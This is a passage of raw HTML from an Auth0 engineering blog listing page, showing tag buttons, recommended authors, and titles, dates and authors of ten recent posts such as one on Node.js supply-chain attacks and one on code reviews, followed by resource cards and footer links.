class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#leak</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#cybersecurity</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#grpc</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#http</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#http2</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#api</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#proto</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#protocol-buffer</p></button></div><button class="wiotl7-3 gpkRVN"><span>View more</span> <span>(<!-- -->82<!-- -->)</span><svg width="17" height="17" viewBox="0 0 17 17" fill="none" xmlns="http://www.w3.org/2000/svg" class="wiotl7-2 jbIORl"><g id="icon"><path id="icon_2" d="M8.25005 9.87099L4.38812 6.00906L3.44531 6.95187L7.77865 11.2852C7.90367 11.4102 8.07324 11.4805 8.25005 11.4805C8.42686 11.4805 8.59643 11.4102 8.72145 11.2852L13.0548 6.95187L12.112 6.00906L8.25005 9.87099Z" fill="#99A7F1"></path></g></svg></button></div><div class="yzj4mm-0 cDiBYB"><div class="dh4ait-0 ePAqkg"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 bvimfW keBOjr">Recommended authors</p></div><div class="yzj4mm-1 diPpfE"><a href="https://auth0.com/blog/authors/damian-schenkelman" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/3hNT0X2OvXm5VqR5TzuBEy/2e111724daf3990e4ab2f5b2d5810768/Damian_Schenkelman.png" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Damian Schenkelman</p></div></a><a href="https://auth0.com/blog/authors/yvonne-wilson" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/72TGUR0waTmgxslAXLYzBw/3cc71ca89c60959ba47b3a31c59383c7/ec1c9350c3d2306e7c42b9307bea93de_s_480_r_pg_d_https_3A_2F_2Fcdn" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Yvonne Wilson</p></div></a><a href="https://auth0.com/blog/authors/dan-arias" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/6WmRCtZz0eDp6KE7pw8cJ3/7329ebb6302316cab8f55705100abab5/37590801_s_460_v_4" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Dan Arias</p></div></a></div><a href="/blog/authors" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 jSunBo lbFYLj">View all authors</a></div></aside><div class="sc-18w14yg-3 fxZeTr"><section class="sc-1rc3wko-0 kfYqEB"><div class="sc-1rc3wko-1 fYNeXn"><div class="dh4ait-0 ePAqkg"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 bvimfW keBOjr">Latest posts (<!-- -->10<!-- --> of <!-- -->24<!-- --> results)</p></div><div class="sc-1rc3wko-3 enauqK"><button id="filter__tags" class="sc-1rc3wko-4 hibgHG"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="17" viewBox="0 0 16 17" fill="none"><path d="M0.66626 3.25423H15.3329V1.9209H0.66626V3.25423Z" fill="#E5E5E5"></path><path d="M2.66626 7.25423H13.3329V5.9209H2.66626V7.25423Z" fill="#E5E5E5"></path><path d="M11.3329 11.2542H4.66626V9.9209H11.3329V11.2542Z" fill="#E5E5E5"></path><path d="M6.66626 15.2542H9.33293V13.9209H6.66626V15.2542Z" fill="#E5E5E5"></path></svg><span>Filter</span></button></div><label class="sc-8t61xl-0 guGDRs"><input type="checkbox" aria-hidden="true" class="sc-8t61xl-1 huAclX"/><button id="grid__view" selected="" class="sc-8t61xl-2 loMVLS"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M4.66667 3.33333C4.66667 4.06971 4.06971 4.66667 3.33333 4.66667C2.59695 4.66667 2 4.06971 2 3.33333C2 2.59695 2.59695 2 3.33333 2C4.06971 2 4.66667 2.59695 4.66667 3.33333Z" fill="#FFFEFA"></path><path d="M4.66667 8C4.66667 8.73638 4.06971 9.33333 3.33333 9.33333C2.59695 9.33333 2 8.73638 2 8C2 7.26362 2.59695 6.66667 3.33333 6.66667C4.06971 6.66667 4.66667 7.26362 4.66667 8Z" fill="#FFFEFA"></path><path d="M3.33333 14C4.06971 14 4.66667 13.403 4.66667 12.6667C4.66667 11.9303 4.06971 11.3333 3.33333 11.3333C2.59695 11.3333 2 11.9303 2 12.6667C2 13.403 2.59695 14 3.33333 14Z" fill="#FFFEFA"></path><path d="M9.33333 3.33333C9.33333 4.06971 8.73638 4.66667 8 4.66667C7.26362 4.66667 6.66667 4.06971 6.66667 3.33333C6.66667 2.59695 7.26362 2 8 2C8.73638 2 9.33333 2.59695 9.33333 3.33333Z" fill="#FFFEFA"></path><path d="M8 9.33333C8.73638 9.33333 9.33333 8.73638 9.33333 8C9.33333 7.26362 8.73638 6.66667 8 6.66667C7.26362 6.66667 6.66667 7.26362 6.66667 8C6.66667 8.73638 7.26362 9.33333 8 9.33333Z" fill="#FFFEFA"></path><path d="M9.33333 12.6667C9.33333 13.403 8.73638 14 8 14C7.26362 14 6.66667 13.403 6.66667 12.6667C6.66667 11.9303 7.26362 11.3333 8 11.3333C8.73638 11.3333 9.33333 11.9303 9.33333 12.6667Z" fill="#FFFEFA"></path><path d="M12.6667 4.66667C13.403 4.66667 14 4.06971 14 3.33333C14 2.59695 13.403 2 12.6667 2C11.9303 2 11.3333 2.59695 11.3333 3.33333C11.3333 4.06971 11.9303 4.66667 12.6667 4.66667Z" fill="#FFFEFA"></path><path d="M14 8C14 8.73638 13.403 9.33333 12.6667 9.33333C11.9303 9.33333 11.3333 8.73638 11.3333 8C11.3333 7.26362 11.9303 6.66667 12.6667 6.66667C13.403 6.66667 14 7.26362 14 8Z" fill="#FFFEFA"></path><path d="M12.6667 14C13.403 14 14 13.403 14 12.6667C14 11.9303 13.403 11.3333 12.6667 11.3333C11.9303 11.3333 11.3333 11.9303 11.3333 12.6667C11.3333 13.403 11.9303 14 12.6667 14Z" fill="#FFFEFA"></path></svg></button><button id="list__view" class="sc-8t61xl-2 bWbXhw"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M3.33335 4.00001C3.33335 4.73638 2.7364 5.33334 2.00002 5.33334C1.26364 5.33334 0.666687 4.73638 0.666687 4.00001C0.666687 3.26363 1.26364 2.66667 2.00002 2.66667C2.7364 2.66667 3.33335 3.26363 3.33335 4.00001Z" fill="#FFFEFA"></path><path d="M2.00002 9.33334C2.7364 9.33334 3.33335 8.73638 3.33335 8C3.33335 7.26363 2.7364 6.66667 2.00002 6.66667C1.26364 6.66667 0.666687 7.26363 0.666687 8C0.666687 8.73638 1.26364 9.33334 2.00002 9.33334Z" fill="#FFFEFA"></path><path d="M2.00002 13.3333C2.7364 13.3333 3.33335 12.7364 3.33335 12C3.33335 11.2636 2.7364 10.6667 2.00002 10.6667C1.26364 10.6667 0.666687 11.2636 0.666687 12C0.666687 12.7364 1.26364 13.3333 2.00002 13.3333Z" fill="#FFFEFA"></path><path d="M5.33335 8.66667H15.3334V7.33334H5.33335V8.66667Z" fill="#FFFEFA"></path><path d="M15.3334 4.66667H5.33335V3.33334H15.3334V4.66667Z" fill="#FFFEFA"></path><path d="M5.33335 12.6667H15.3334V11.3333H5.33335V12.6667Z" fill="#FFFEFA"></path></svg></button></label></div><div class="sc-1rc3wko-2 jsCONy"><a href="/blog/external-user-verification-with-forms/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 dsgPam"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Sep 5, 2024 • 8 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">External User Verification with Forms</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Sam Yapkowitz</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#verification</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#auth0</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#forms</p></button></div></div></a><a href="/blog/okta-fga-is-now-available-in-private-cloud-on-aws/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 hfPDwF"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Aug 30, 2024 • 2 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Okta Fine Grained Authorization is now Available in Private Cloud on AWS</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Andrés Aguiar</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#fga</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#okta</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#aws</p></button></div></div></a><a href="/blog/secure-nodejs-applications-from-supply-chain-attacks/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 dteBRJ"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Jul 25, 2024 • 14 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Secure Node.js Applications from Supply Chain Attacks</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Leonardo Zanivan</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#nodejs</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#attacks</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#security</p></button></div></div></a><a href="/blog/women-s-history-month-women-in-engineering/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 dPVXPk"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Jun 7, 2023 • 4 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Taking Action During Women’s History Month: Elevating Women in Engineering</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Monica Bajaj</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#woman</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#okta</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#engineering</p></button></div></div></a><a href="/blog/fetch-ens-profile-data-using-okta-customer-identity-cloud/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 hooDnm"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Feb 14, 2023 • 5 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Fetch ENS profile data using Okta Customer Identity Cloud</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Damian Schenkelman</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#ens</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#ethereum</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#auth0</p></button></div></div></a><a href="/blog/auth0-fine-grained-authorization-developer-community-preview-release/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 bbPGqD"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Dec 15, 2021 • 10 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Auth0 Fine Grained Authorization: Developer Community Preview Release</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Damian Schenkelman</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#fga</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#auth0</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#authorization</p></button></div></div></a><a href="/blog/why-auth0-is-shifting-left-on-security/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 gpZzSB"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Apr 20, 2020 • 7 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Why Auth0 is &#x27;Shifting-Left&#x27; on Security</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Charlotte Townsley</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#security</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#development</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#shift-left</p></button></div></div></a><a href="/blog/conducting-effective-code-reviews/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 dPVXPk"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Sep 5, 2019 • 18 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Conducting Effective Code Reviews</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Umut Benzer</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#code-review</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#software-development</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#pull-request</p></button></div></div></a><a href="/blog/auth0-internal-dev-tools-unleashing-engineering-potential/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 cVIrKR"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Apr 9, 2019 • 9 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">Auth0 Internal Dev Tools: Unleashing Engineering Potential</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">Jorge Fatta</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#internal-tools</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#scaling</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#docker</p></button></div></div></a><a href="/blog/aws-increases-security-scan-freedom/" class="sc-1akycv5-2 kZamtW"><div class="sc-1akycv5-0 hirdXK"><figure class="sc-1akycv5-1 iuvkoL"></figure></div><div class="sc-1akycv5-4 faaFJY"><div class="sc-1akycv5-3 kKvwZS"><span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bUPNrc">engineering</span><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jPTHXi gbKHFx">Apr 2, 2019 • 5 min read</p></div><h3 class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 eoMTCq glCwmv">AWS Increases Security Scan Freedom</h3><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 gHcESW lbFYLj">George Vauter</p><div class="sc-1akycv5-5 fRqgPG"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#aws</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#security</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#cloud</p></button></div></div></a></div></section><section id="linkViewMore" class="sc-88q8hx-0 hhWMTM"><a class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 dpsQkm gINUVb">Load more<svg width="16" height="17" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M8 10.312L4.138 6.45l-.943.943 4.334 4.334a.667.667 0 00.942 0l4.334-4.334-.943-.943L8 10.312z" fill="#B6CAFF"></path></svg></a></section></div></div><aside class="sc-18w14yg-1 goiBIM"><div class="sc-18w14yg-4 ha-DODc"><div class="yzj4mm-0 cDiBYB"><div class="dh4ait-0 ePAqkg"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 bvimfW keBOjr">Recommended authors</p></div><div class="yzj4mm-1 diPpfE"><a href="https://auth0.com/blog/authors/damian-schenkelman" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/3hNT0X2OvXm5VqR5TzuBEy/2e111724daf3990e4ab2f5b2d5810768/Damian_Schenkelman.png" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Damian Schenkelman</p></div></a><a href="https://auth0.com/blog/authors/yvonne-wilson" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/72TGUR0waTmgxslAXLYzBw/3cc71ca89c60959ba47b3a31c59383c7/ec1c9350c3d2306e7c42b9307bea93de_s_480_r_pg_d_https_3A_2F_2Fcdn" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Yvonne Wilson</p></div></a><a href="https://auth0.com/blog/authors/dan-arias" class="i8q3i5-0 kEAFLS"><div class="i8q3i5-1 gZuxfx"><img alt="" src="//images.ctfassets.net/23aumh6u8s0i/6WmRCtZz0eDp6KE7pw8cJ3/7329ebb6302316cab8f55705100abab5/37590801_s_460_v_4" class="i8q3i5-2 caaUaJ"/></div><div class="i8q3i5-3 vobRT"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hvtcVw">Dan Arias</p></div></a></div><a href="/blog/authors" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 jSunBo lbFYLj">View all authors</a></div></div></aside><section class="fj6wb5-0 kjBEnM"><div class="styled__CardContainer-sc-fnzurd-0 kBmzHj"><h1 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 Mbfvv cvLfHs">Resources</h1><div class="styled__CardWrapper-sc-fnzurd-1 jgYXEj"><a href="https://auth0.com/docs" class="styled__CardWrapper-sc-1f3qc75-0 hTMLxH"><div class="styled__CardImage-sc-1f3qc75-1 bnYGHo"></div><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iJffKk"></p><h2 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 FygDm bCeHxC">Docs</h2><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" fill="none" class="styled__ArrowSvg-sc-1f3qc75-2 lnIRjC"><path fill="#FFFEFA" d="m17.568 8.832-8.864 8.832L7.04 16l5.984-5.984H0V7.648h13.024L7.04 1.664 8.704 0l8.864 8.832Z"></path></svg></a><a href="https://developer.auth0.com" class="styled__CardWrapper-sc-1f3qc75-0 hTMLxH"><div class="styled__CardImage-sc-1f3qc75-1 bnYGHo"></div><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iJffKk"></p><h2 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 FygDm bCeHxC">Developer Center</h2><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" fill="none" class="styled__ArrowSvg-sc-1f3qc75-2 lnIRjC"><path fill="#FFFEFA" d="m17.568 8.832-8.864 8.832L7.04 16l5.984-5.984H0V7.648h13.024L7.04 1.664 8.704 0l8.864 8.832Z"></path></svg></a><a href="https://community.auth0.com" class="styled__CardWrapper-sc-1f3qc75-0 hTMLxH"><div class="styled__CardImage-sc-1f3qc75-1 bnYGHo"></div><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt iJffKk"></p><h2 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 FygDm bCeHxC">Auth0 Community</h2><svg xmlns="http://www.w3.org/2000/svg" width="18" height="18" fill="none" class="styled__ArrowSvg-sc-1f3qc75-2 lnIRjC"><path fill="#FFFEFA" d="m17.568 8.832-8.864 8.832L7.04 16l5.984-5.984H0V7.648h13.024L7.04 1.664 8.704 0l8.864 8.832Z"></path></svg></a></div></div></section><div color="#fffefa" class="styled__Grid-sc-vosx1t-0 utils-sc-11hlfw-0 gfVdta fMkBdy"><div class="styled__Content-sc-vosx1t-1 cvYPGz"><div span="7" class="styled__GridItem-sc-vosx1t-2 utils-sc-11hlfw-0 hmZChk jbTxDN"><h3 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 OWQrv lbFYLj">Try for free today</h3><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 jXSJzE lbFYLj">Stop reading and start building.</p><div class="styled__ButtonWrapper-sc-2ky66j-2 iWCUjn"><a href="https://auth0.com/signup?place=blog-bottom-banner&amp;type=button&amp;text=try%20for%20free" role="button" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 etdOck lbFYLj"><span>Try for free →</span></a><a href="https://auth0.com/contact-us?place=blog-bottom-banner&amp;type=button&amp;text=contact%20sales" role="button" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 cmgpvv lbFYLj"><span>Contact sales</span></a></div></div></div></div></div><div class="styled__Wrapper-sc-1gk46x3-0 joqbUW"><footer class="styled__Content-sc-1gk46x3-1 gDWHCk"><nav class="styled__Nav-sc-1gk46x3-2 fvSMPF"><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Developers</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://developer.auth0.com/resources" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Developer Hub<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://developer.auth0.com/resources/code-samples" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Code Samples and Guides<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/blog/developers/" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Blog posts<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://identityunlocked.auth0.com/public/49/Identity,-Unlocked.--bed7fada" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Identity Unlocked - Podcasts<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="https://developer.auth0.com/newsletter" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Zero Index Newsletter<!-- --> </a></li></ul></section><section><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 VzOyt hlbQwp">Documentation</p><ul class="styled__LinksList-sc-1gk46x3-3 fLDEkJ"><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/docs/articles" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Articles<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a href="/docs/quickstarts" class="styled__Link-sc-bubr9x-0 utils-sc-11hlfw-0 hwiOrq dViOmG">Quickstarts<!-- --> </a></li><li class="styled__LinksListItem-sc-1gk46x3-5 mYoth"><a 